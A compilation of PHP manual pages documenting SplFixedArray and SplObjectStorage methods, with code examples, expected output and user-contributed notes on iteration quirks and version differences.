No value is returned.

Errors/Exceptions

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Unsets the value at the specified $index

  • « SplFixedArray::offsetSet
  • SplFixedArray::rewind »
  • PHP Manual
  • SplFixedArray
  • Unsets the value at the specified $index

SplFixedArray::offsetUnset

(PHP 5 >= 5.3.0)

SplFixedArray::offsetUnset — Unsets the value at the specified $index

Description

public void SplFixedArray::offsetUnset ( int $index )

Unsets the value at the specified index.

Parameters

index

The index being unset.

Return Values

No value is returned.

Errors/Exceptions

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 05:07
This function assigns NULL to the array element. Its use has no effect on count(). Whereas assigning NULL to an element will have no effect on isset(), offsetUnset() and unset() do. Whereas unsetting an element affects the behaviour of foreach() as applied to an array or an ArrayObject, it has no such effect on SplFixedArray, as demonstrated by the code below.

<?php

class atest extends SplFixedArray {
  public function fill() {
    for ($i = $this->count(); --$i >= 0; ) $this[$i] = $i;
  }
  public function dump() {
    $sep = ' ';
    foreach ($this as $k => $v) {
      echo $sep, "$k: ", (is_null($v) ? 'NULL' : $v);
      if (!isset($this[$k])) echo ' and unset';
      $sep = ', ';
    }
    echo PHP_EOL;
  }
}

$a = new atest(3);
$a->dump(); //  0: NULL and unset, 1: NULL and unset, 2: NULL and unset
$a->fill();
$a->dump(); //  0: 0, 1: 1, 2: 2
$a[1] = NULL;
unset($a[2]);
$a->dump(); //  0: 0, 1: NULL, 2: NULL and unset
?>


Rewind iterator back to the start

  • « SplFixedArray::offsetUnset
  • SplFixedArray::setSize »
  • PHP Manual
  • SplFixedArray
  • Rewind iterator back to the start

SplFixedArray::rewind

(PHP 5 >= 5.3.0)

SplFixedArray::rewind — Rewind iterator back to the start

Description

public void SplFixedArray::rewind ( void )

Rewinds the iterator to the beginning.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Change the size of an array

  • « SplFixedArray::rewind
  • SplFixedArray::toArray »
  • PHP Manual
  • SplFixedArray
  • Change the size of an array

SplFixedArray::setSize

(PHP 5 >= 5.3.0)

SplFixedArray::setSize — Change the size of an array

Description

public int SplFixedArray::setSize ( int $size )

Change the size of an array to the new size of size. If size is less than the current array size, any values after the new size will be discarded. If size is greater than the current array size, the array will be padded with NULL values.

Parameters

size

The new array size. This should be a value between 0 and PHP_INT_MAX.

Return Values

No value is returned.

Errors/Exceptions

Throws InvalidArgumentException when size is less than zero.

Raises E_WARNING when size cannot be used as a number.

Examples

Example #1 SplFixedArray::setSize() example

<?php
   $array = new SplFixedArray(5);
   echo $array->getSize()."\n";
   $array->setSize(10);
   echo $array->getSize()."\n";
?>

The above example will output:

5
10

User Contributed Notes

There are no user contributed notes for this page.


Returns a PHP array from the fixed array

  • « SplFixedArray::setSize
  • SplFixedArray::valid »
  • PHP Manual
  • SplFixedArray
  • Returns a PHP array from the fixed array

SplFixedArray::toArray

(PHP 5 >= 5.3.0)

SplFixedArray::toArray — Returns a PHP array from the fixed array

Description

public array SplFixedArray::toArray ( void )

Returns a PHP array from the fixed array.

Parameters

This function has no parameters.

Return Values

Returns a PHP array, similar to the fixed array.

Examples

Example #1 SplFixedArray::toArray() example

<?php
$fa = new SplFixedArray(3);
$fa[0] = 0;
$fa[2] = 2;
var_dump($fa->toArray());
?>

The above example will output:

array(3) {
  [0]=>
  int(0)
  [1]=>
  NULL
  [2]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Check whether the array contains more elements

  • « SplFixedArray::toArray
  • SplFixedArray::__wakeup »
  • PHP Manual
  • SplFixedArray
  • Check whether the array contains more elements

SplFixedArray::valid

(PHP 5 >= 5.3.0)

SplFixedArray::valid — Check whether the array contains more elements

Description

public bool SplFixedArray::valid ( void )

Checks if the array contains any more elements.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the array contains any more elements, FALSE otherwise.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 05:13
This function will return TRUE whenever the iterator is within the array bounds, even if unset() has been called on the current element.


Reinitialises the array after being unserialised

  • « SplFixedArray::valid
  • SplObjectStorage »
  • PHP Manual
  • SplFixedArray
  • Reinitialises the array after being unserialised

SplFixedArray::__wakeup

(PHP 5 >= 5.5.0)

SplFixedArray::__wakeup — Reinitialises the array after being unserialised

Description

public void SplFixedArray::__wakeup ( void )

Reinitialises the array after being unserialised.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The SplObjectStorage class

(PHP 5 >= 5.3.0)

Introduction

The SplObjectStorage class provides a map from objects to data or, by ignoring data, an object set. This dual purpose can be useful in many cases involving the need to uniquely identify objects.

Class synopsis

SplObjectStorage implements Countable , Iterator , Serializable , ArrayAccess {
/* Methods */
public void addAll ( SplObjectStorage $storage )
public void attach ( object $object [, mixed $data = NULL ] )
public bool contains ( object $object )
public int count ( void )
public object current ( void )
public void detach ( object $object )
public string getHash ( object $object )
public mixed getInfo ( void )
public int key ( void )
public void next ( void )
public bool offsetExists ( object $object )
public mixed offsetGet ( object $object )
public void offsetSet ( object $object [, mixed $data = NULL ] )
public void offsetUnset ( object $object )
public void removeAll ( SplObjectStorage $storage )
public void removeAllExcept ( SplObjectStorage $storage )
public void rewind ( void )
public string serialize ( void )
public void setInfo ( mixed $data )
public void unserialize ( string $serialized )
public bool valid ( void )
}

Examples

Example #1 SplObjectStorage as a set

<?php
// As an object set
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;
$o3 = new StdClass;

$s->attach($o1);
$s->attach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));

$s->detach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));
?>

The above example will output:

bool(true)
bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Example #2 SplObjectStorage as a map

<?php
// As a map from objects to data
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;
$o3 = new StdClass;

$s[$o1] = "data for object 1";
$s[$o2] = array(1,2,3);

if (isset($s[$o2])) {
    var_dump($s[$o2]);
}
?>

The above example will output:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

Table of Contents

  • SplObjectStorage::addAll — Adds all objects from another storage
  • SplObjectStorage::attach — Adds an object in the storage
  • SplObjectStorage::contains — Checks if the storage contains a specific object
  • SplObjectStorage::count — Returns the number of objects in the storage
  • SplObjectStorage::current — Returns the current storage entry
  • SplObjectStorage::detach — Removes an object from the storage
  • SplObjectStorage::getHash — Calculate a unique identifier for the contained objects
  • SplObjectStorage::getInfo — Returns the data associated with the current iterator entry
  • SplObjectStorage::key — Returns the index at which the iterator currently is
  • SplObjectStorage::next — Move to the next entry
  • SplObjectStorage::offsetExists — Checks whether an object exists in the storage
  • SplObjectStorage::offsetGet — Returns the data associated with an object
  • SplObjectStorage::offsetSet — Associates data to an object in the storage
  • SplObjectStorage::offsetUnset — Removes an object from the storage
  • SplObjectStorage::removeAll — Removes objects contained in another storage from the current storage
  • SplObjectStorage::removeAllExcept — Removes all objects except for those contained in another storage from the current storage
  • SplObjectStorage::rewind — Rewind the iterator to the first storage element
  • SplObjectStorage::serialize — Serializes the storage
  • SplObjectStorage::setInfo — Sets the data associated with the current iterator entry
  • SplObjectStorage::unserialize — Unserializes a storage from its string representation
  • SplObjectStorage::valid — Returns if the current iterator entry is valid

User Contributed Notes

Adam Monsen 08-Jan-2014 02:48
Note some inconsistent/surprising behavior in SplObjectStorage to preserve backwards compatibility. You can't properly use foreach with key/value syntax.

<?php
$spl = new SplObjectStorage ();
$keyForA = new StdClass();
$keyForB = new StdClass();
$spl[$keyForA] = 'value a';
$spl[$keyForB] = 'value b';
foreach ($spl as $key => $value)
{
    // $key is NOT an object, $value is!
    // Must use standard array access to get strings.
    echo $spl[$value] . "\n"; // prints "value a", then "value b"
}
// it may be clearer to use this form of foreach:
foreach ($spl as $key)
{
    // $key is an object.
    // Use standard array access to get values.
    echo $spl[$key] . "\n"; // prints "value a", then "value b"
}
?>

See https://bugs.php.net/bug.php?id=49967
inwebo at gmail dot fr 29-Feb-2012 08:01
I needed to merge SplObjectStorages.
<?php
// As an object set
$SplObjectStorage_1 = new SplObjectStorage();

$object1 = new StdClass;
$object1->attr = 'obj 1';
$object2 = new StdClass;
$object2->attr = 'obj 2';
$object3 = new StdClass;
$object3->attr = 'obj 3';

$SplObjectStorage_1->attach($object1);
$SplObjectStorage_1->attach($object2);
$SplObjectStorage_1->attach($object3);

// Another one object set
$SplObjectStorage_2 = new SplObjectStorage();

$object4 = new StdClass;
$object4->attr = 'obj 4';
$object5 = new StdClass;
$object5->attr = 'obj 5';
$object6 = new StdClass;
$object6->attr = 'obj 6';

$SplObjectStorage_2->attach($object4);
$SplObjectStorage_2->attach($object5);
$SplObjectStorage_2->attach($object6);

/**
 * Merge SplObjectStorage
 *
 * @param how many SplObjectStorage params as you want
 * @return SplObjectStorage
 */
function mergeSplObjectStorage() {

    $buffer   = new SplObjectStorage();

    if( func_num_args() > 0  ) {
        $args = func_get_args();
        foreach ($args as $objectStorage) {
            foreach($objectStorage as $object) {
                if(is_object( $object ) ) {
                    $buffer->attach($object);
                }
            }
        }
    }
    else{
        return FALSE;
    }
    return $buffer;
}

$merge = mergeSplObjectStorage($SplObjectStorage_1, $SplObjectStorage_2);

?>
<?php
echo $merge->count();
?>
Will output :
6

<?php
$merge->rewind();
while($merge->valid()) {
    $object = $merge->current();
    var_dump($object);
    $merge->next();
}
?>
Will ouput :
object(stdClass)#2 (1) {
  ["attr"]=>
  string(5) "obj 1"
}
object(stdClass)#3 (1) {
  ["attr"]=>
  string(5) "obj 2"
}
object(stdClass)#4 (1) {
  ["attr"]=>
  string(5) "obj 3"
}
object(stdClass)#6 (1) {
  ["attr"]=>
  string(5) "obj 4"
}
object(stdClass)#7 (1) {
  ["attr"]=>
  string(5) "obj 5"
}
object(stdClass)#8 (1) {
  ["attr"]=>
  string(5) "obj 6"
}

My two cents.
Jan Walther 30-Jun-2011 03:57
I rewrote some scripts and changed object storage with arrays to SplObjectStorage. At some point I needed support of array_rand() but I did not find a function to return a random attached object of an SplObjectStorage object.

So here is my solution for random access to SplObjectStorage:

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage;
$s->attach($o1);
$s->attach($o2);

$random = rand(0,$s->count()-1);
$s->rewind();
for($i=0;$i<$random;$i++) {
  $s->next();
}
var_dump($s->current());
?>
Robertas at pobox com 31-Jan-2010 08:13
PHP 5.2.x and lower doesn't implement ArrayAccess in SplObjectStorage - it is only implemented starting from PHP 5.3
randallgirard at hotmail dot com 14-Dec-2009 09:01
I have two things to note about SplObjectStorage:

#1: A reference to the object itself is stored (not just a hash to compare against the object) and it must be removed before the object is destroyed and the destructor is executed.

#2: SplObjectStorage::rewind() MUST be called to initiate the iterator and before SplObjectStorage::current() will return an object (and I think the only way to retrieve an object?) rather than automatically starting at the first element as I expected it to, like an array for example. This assumption is based on SplObjectStorage::current() returning NULL until SplObjectStorage::rewind() is called once the objects are contained. As a note, always use REWIND before iterating through or fetching objects.

<?php

class foo {
    public function __destruct() {
        print("--- DESTRUCTOR FIRED!!<br />\r\n");
    }
}

# Create object and storage
$bar = new foo();
$s = new SplObjectStorage();

# Rewind early just as a test
$s->rewind();

# attach the object
$s->attach($bar, array('test'));

# Unset the object; destructor does NOT fire
unset($bar);
print("Object has been unset<br />\r\n");

# First demonstrate that REWIND must be called to initialize the iterator
$obj = $s->current();
var_dump($obj);
print("- Note the NULL (from \$s->current())<br />\r\n");

# Initialize, and then detach the current (and only) object
$s->rewind();
$s->detach( $s->current() );

# The destructor should NOW execute

?>

Output:

Object has been unset
NULL - Note the NULL (from $s->current())
--- DESTRUCTOR FIRED!!


Adds all objects from another storage

  • « SplObjectStorage
  • SplObjectStorage::attach »
  • PHP Manual
  • SplObjectStorage
  • Adds all objects from another storage

SplObjectStorage::addAll

(PHP 5 >= 5.3.0)

SplObjectStorage::addAll — Adds all objects from another storage

Description

public void SplObjectStorage::addAll ( SplObjectStorage $storage )

Adds all objects-data pairs from a different storage in the current storage.

Parameters

storage

The storage you want to import.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::addAll() example

<?php
$o = new StdClass;
$a = new SplObjectStorage();
$a[$o] = "hello";

$b = new SplObjectStorage();
$b->addAll($a);
echo $b[$o]."\n";
?>

The above example will output something similar to:

hello

See Also

  • SplObjectStorage::removeAll() - Removes objects contained in another storage from the current storage

User Contributed Notes

There are no user contributed notes for this page.


Adds an object in the storage

  • « SplObjectStorage::addAll
  • SplObjectStorage::contains »
  • PHP Manual
  • SplObjectStorage
  • Adds an object in the storage

SplObjectStorage::attach

(PHP 5 >= 5.1.0)

SplObjectStorage::attach — Adds an object in the storage

Description

public void SplObjectStorage::attach ( object $object [, mixed $data = NULL ] )

Adds an object inside the storage, and optionally associate it to some data.

Parameters

object

The object to add.

data

The data to associate with the object.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::attach() example

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage();
$s->attach($o1); // similar to $s[$o1] = NULL;
$s->attach($o2, "hello"); // similar to $s[$o2] = "hello";

var_dump($s[$o1]);
var_dump($s[$o2]);

?>

The above example will output something similar to:

NULL
string(5) "hello"

Changelog

Version | Description
5.3.0 | Added the data parameter.

See Also

  • SplObjectStorage::detach() - Removes an object from the storage
  • SplObjectStorage::offsetSet() - Associates data to an object in the storage

User Contributed Notes

rafal dot wrzeszcz at wrzasq dot pl 22-May-2013 07:29
Better way (imho) is to call:

$storage->removeAll($storage);

Especially, that sometimes (had no time to investigate) removeAllExcept(new SplObjectStorage()) leaves some elements.


Checks if the storage contains a specific object

  • « SplObjectStorage::attach
  • SplObjectStorage::count »
  • PHP Manual
  • SplObjectStorage
  • Checks if the storage contains a specific object

SplObjectStorage::contains

(PHP 5 >= 5.1.0)

SplObjectStorage::contains — Checks if the storage contains a specific object

Description

public bool SplObjectStorage::contains ( object $object )

Checks if the storage contains the object provided.

Parameters

object

The object to look for.

Return Values

Returns TRUE if the object is in the storage, FALSE otherwise.

Examples

Example #1 SplObjectStorage::contains() example

<?php
$o1 = new StdClass;
$o2 = new StdClass;

$s = new SplObjectStorage();

$s[$o1] = "hello";
var_dump($s->contains($o1));
var_dump($s->contains($o2));
?>

The above example will output something similar to:

bool(true)
bool(false)

See Also

  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of objects in the storage

  • « SplObjectStorage::contains
  • SplObjectStorage::current »
  • PHP Manual
  • SplObjectStorage
  • Returns the number of objects in the storage

SplObjectStorage::count

(PHP 5 >= 5.1.0)

SplObjectStorage::count — Returns the number of objects in the storage

Description

public int SplObjectStorage::count ( void )

Counts the number of objects in the storage.

Parameters

This function has no parameters.

Return Values

The number of objects in the storage.

Examples

Example #1 SplObjectStorage::count() example

<?php
$s = new SplObjectStorage();
$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1);
$s->attach($o2);
$s->attach($o1);
var_dump($s->count());
var_dump(count($s));
?>

The above example will output something similar to:

int(2)
int(2)

See Also

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::detach() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns the current storage entry

  • « SplObjectStorage::count
  • SplObjectStorage::detach »
  • PHP Manual
  • SplObjectStorage
  • Returns the current storage entry

SplObjectStorage::current

(PHP 5 >= 5.1.0)

SplObjectStorage::current — Returns the current storage entry

Description

public object SplObjectStorage::current ( void )

Returns the current storage entry.

Parameters

This function has no parameters.

Return Values

The object at the current iterator position.

Examples

Example #1 SplObjectStorage::current() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

The above example will output something similar to:

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

See Also

  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.


Removes an object from the storage

  • « SplObjectStorage::current
  • SplObjectStorage::getHash »
  • PHP Manual
  • SplObjectStorage
  • Removes an object from the storage

SplObjectStorage::detach

(PHP 5 >= 5.1.0)

SplObjectStorage::detach — Removes an object from the storage

Description

public void SplObjectStorage::detach ( object $object )

Removes the object from the storage.

Parameters

object

The object to remove.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::detach() example

<?php
$o = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($o);
var_dump(count($s));
?>

The above example will output something similar to:

int(1)
int(0)

See Also

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::removeAll() - Removes objects contained in another storage from the current storage

User Contributed Notes

alan dot bem at gmail dot com 07-Sep-2013 04:55
SplObjectSotage::detach() has a bug - it rewinds internal array pointer.
Remember that - when looping over the storage - as it has no workaround.

https://bugs.php.net/bug.php?id=65629&edit=2
r dot wilczek at web-appz dot de 30-Apr-2010 10:18
Detaching the current entry from the storage prevents SplObjectStorage::next() to operate.

Example as a PHPUnit-test:

<?php
public function testDetachingCurrentPreventsNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $storage->detach($storage->current());
        $storage->next();
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will fail, for the iteration will never reach the second stdClass.
SplObjectStorage::next() obviously relies on the current element to be valid.

If you want to detach objects during iterations, you should dereference objects, before you call next() and detach the reference after next():

<?php
public function testDetachingReferenceAfterNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $object = $storage->current();
        $storage->next();
        $storage->detach($object);
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will pass.


Calculate a unique identifier for the contained objects

  • « SplObjectStorage::detach
  • SplObjectStorage::getInfo »
  • PHP Manual
  • SplObjectStorage
  • Calculate a unique identifier for the contained objects

SplObjectStorage::getHash

(PHP 5 >= 5.4.0)

SplObjectStorage::getHash — Calculate a unique identifier for the contained objects

Description

public string SplObjectStorage::getHash ( object $object )

This method calculates an identifier for the objects added to an SplObjectStorage object.

The implementation in SplObjectStorage returns the same value as spl_object_hash().

The storage object will never contain more than one object with the same identifier. As such, it can be used to implement a set (a collection of unique values) where the quality of an object being unique is determined by the value returned by this function being unique.

Parameters

object

The object whose identifier is to be calculated.

Return Values

A string with the calculated identifier.

Errors/Exceptions

A RuntimeException is thrown when the returned value is not a string.

Examples

Example #1 SplObjectStorage::getHash() example

<?php
class OneSpecimenPerClassStorage extends SplObjectStorage {
    public function getHash($o) {
        return get_class($o);
    }
}
class A {}

$s = new OneSpecimenPerClassStorage;
$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new A;

$s[$o1] = 1;
//$o2 is considered equal to $o1 so the value is replaced
$s[$o2] = 2;
$s[$o3] = 3;

//these are considered equal to the objects before
//so they can be used to access the values stored under them
$p1 = new stdClass;
$p2 = new A;
echo $s[$p1], "\n";
echo $s[$p2], "\n";
?>

The above example will output something similar to:

2
3

See Also

  • spl_object_hash() - Return hash id for given object

User Contributed Notes

aron dot duby at gmail dot com 17-Dec-2012 04:09
This also appears to be the function which gets used within the contains() function, so if all the objects you are storing already have a unique id you can overwrite this function with your own class.

<?php
class UserStorage extends SPLObjectStorage{
     public function getHash($obj){
          return $obj->id;
     }
}

$us = new UserStorage();
$user1 = new User(1);
$user2 = new User(2);

$us->attach($user1);
$us->attach($user2);

$me = new User(2);

// the following would normally fail since they are two separate objects
// but it works now with our extended getHash()
$us->contains($me);

?>


Returns the data associated with the current iterator entry

  • « SplObjectStorage::getHash
  • SplObjectStorage::key »
  • PHP Manual
  • SplObjectStorage
  • Returns the data associated with the current iterator entry

SplObjectStorage::getInfo

(PHP 5 >= 5.3.0)

SplObjectStorage::getInfo — Returns the data associated with the current iterator entry

Description

public mixed SplObjectStorage::getInfo ( void )

Returns the data, or info, associated with the object pointed by the current iterator position.

Parameters

This function has no parameters.

Return Values

The data associated with the current iterator position.

Examples

Example #1 SplObjectStorage::getInfo() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

The above example will output something similar to:

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

See Also

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::setInfo() - Sets the data associated with the current iterator entry

User Contributed Notes

Ye Wang 27-Sep-2010 08:53
This method, SplObjectStorage::getInfo() does NOT exist on PHP 5.2.13.

However, PHP 5.3.2 and above does have it. To find out yourself, use this snippet.

$> php -r "print_r(get_class_methods(new SplObjectStorage()));"

Results for PHP 5.2.13
====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => count
    [4] => rewind
    [5] => valid
    [6] => key
    [7] => current
    [8] => next
    [9] => unserialize
    [10] => serialize
)

Results for PHP 5.3.2
=====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => addAll
    [4] => removeAll
    [5] => getInfo
    [6] => setInfo
    [7] => count
    [8] => rewind
    [9] => valid
    [10] => key
    [11] => current
    [12] => next
    [13] => unserialize
    [14] => serialize
    [15] => offsetExists
    [16] => offsetSet
    [17] => offsetUnset
    [18] => offsetGet
)


Returns the index at which the iterator currently is

  • « SplObjectStorage::getInfo
  • SplObjectStorage::next »
  • PHP Manual
  • SplObjectStorage
  • Returns the index at which the iterator currently is

SplObjectStorage::key

(PHP 5 >= 5.1.0)

SplObjectStorage::key — Returns the index at which the iterator currently is

Description

public int SplObjectStorage::key ( void )

Returns the index at which the iterator currently is.

Parameters

This function has no parameters.

Return Values

The index corresponding to the position of the iterator.

Examples

Example #1 SplObjectStorage::key() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)

    var_dump($index);
    var_dump($object);
    $s->next();
}
?>

The above example will output something similar to:

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

See Also

  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid

User Contributed Notes

There are no user contributed notes for this page.


Move to the next entry

  • « SplObjectStorage::key
  • SplObjectStorage::offsetExists »
  • PHP Manual
  • SplObjectStorage
  • Move to the next entry

SplObjectStorage::next

(PHP 5 >= 5.1.0)

SplObjectStorage::next — Move to the next entry

Description

public void SplObjectStorage::next ( void )

Moves the iterator to the next object in the storage.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::next() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)

    var_dump($index);
    var_dump($object);
    $s->next();
}
?>

The above example will output something similar to:

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

See Also

  • SPLObjectStorage::rewind() - Rewind the iterator to the first storage element

User Contributed Notes

There are no user contributed notes for this page.


Checks whether an object exists in the storage

  • « SplObjectStorage::next
  • SplObjectStorage::offsetGet »
  • PHP Manual
  • SplObjectStorage
  • Checks whether an object exists in the storage

SplObjectStorage::offsetExists

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetExists — Checks whether an object exists in the storage

Description

public bool SplObjectStorage::offsetExists ( object $object )

Checks whether an object exists in the storage.

Note:

SplObjectStorage::offsetExists() is an alias of SplObjectStorage::contains().

Parameters

object

The object to look for.

Return Values

Returns TRUE if the object exists in the storage, and FALSE otherwise.

Examples

Example #1 SplObjectStorage::offsetExists() example

<?php
$s = new SplObjectStorage;
$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1);

var_dump($s->offsetExists($o1)); // Similar to isset($s[$o1])
var_dump($s->offsetExists($o2)); // Similar to isset($s[$o2])
?>

The above example will output something similar to:

bool(true)
bool(false)

See Also

  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns the data associated with an object

  • « SplObjectStorage::offsetExists
  • SplObjectStorage::offsetSet »
  • PHP Manual
  • SplObjectStorage
  • Returns the data associated with an object

SplObjectStorage::offsetGet

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetGet — Returns the data associated with an object

Description

public mixed SplObjectStorage::offsetGet ( object $object )

Returns the data associated with an object in the storage.

Parameters

object

The object to look for.

Return Values

The data previously associated with the object in the storage.

Errors/Exceptions

Throws UnexpectedValueException when object could not be found.

Examples

Example #1 SplObjectStorage::offsetGet() example

<?php
$s = new SplObjectStorage;

$o1 = new StdClass;
$o2 = new StdClass;

$s[$o1] = "hello";
$s->attach($o2);

var_dump($s->offsetGet($o1)); // Similar to $s[$o1]
var_dump($s->offsetGet($o2)); // Similar to $s[$o2]
?>

The above example will output something similar to:

string(5) "hello"
NULL

See Also

  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.


Associates data to an object in the storage

  • « SplObjectStorage::offsetGet
  • SplObjectStorage::offsetUnset »
  • PHP Manual
  • SplObjectStorage
  • Associates data to an object in the storage

SplObjectStorage::offsetSet

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetSet — Associates data to an object in the storage

Description

public void SplObjectStorage::offsetSet ( object $object [, mixed $data = NULL ] )

Associate data to an object in the storage.

Note:

SplObjectStorage::offsetSet() is an alias of SplObjectStorage::attach().

Parameters

object

The object to associate data with.

data

The data to associate with the object.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::offsetSet() example

<?php
$s = new SplObjectStorage;

$o1 = new StdClass;

$s->offsetSet($o1, "hello"); // Similar to $s[$o1] = "hello";

var_dump($s[$o1]);
?>

The above example will output something similar to:

string(5) "hello"

See Also

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.


Removes an object from the storage

  • « SplObjectStorage::offsetSet
  • SplObjectStorage::removeAll »
  • PHP Manual
  • SplObjectStorage
  • Removes an object from the storage

SplObjectStorage::offsetUnset

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetUnset — Removes an object from the storage

Description

public void SplObjectStorage::offsetUnset ( object $object )

Removes an object from the storage.

Note:

SplObjectStorage::offsetUnset() is an alias of SplObjectStorage::detach().

Parameters

object

The object to remove.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::offsetUnset() example

<?php
$o = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->offsetUnset($o); // Similar to unset($s[$o])
var_dump(count($s));
?>

The above example will output something similar to:

int(1)
int(0)

See Also

  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage

User Contributed Notes

There are no user contributed notes for this page.


Removes objects contained in another storage from the current storage

  • « SplObjectStorage::offsetUnset
  • SplObjectStorage::removeAllExcept »
  • PHP Manual
  • SplObjectStorage
  • Removes objects contained in another storage from the current storage

SplObjectStorage::removeAll

(PHP 5 >= 5.3.0)

SplObjectStorage::removeAll — Removes objects contained in another storage from the current storage

Description

public void SplObjectStorage::removeAll ( SplObjectStorage $storage )

Removes objects contained in another storage from the current storage.

Parameters

storage

The storage containing the elements to remove.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::removeAll() example

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$a = new SplObjectStorage();
$a[$o1] = "foo";

$b = new SplObjectStorage();
$b[$o1] = "bar";
$b[$o2] = "gee";

var_dump(count($b));
$b->removeAll($a);
var_dump(count($b));
?>

The above example will output something similar to:

int(2)
int(1)

See Also

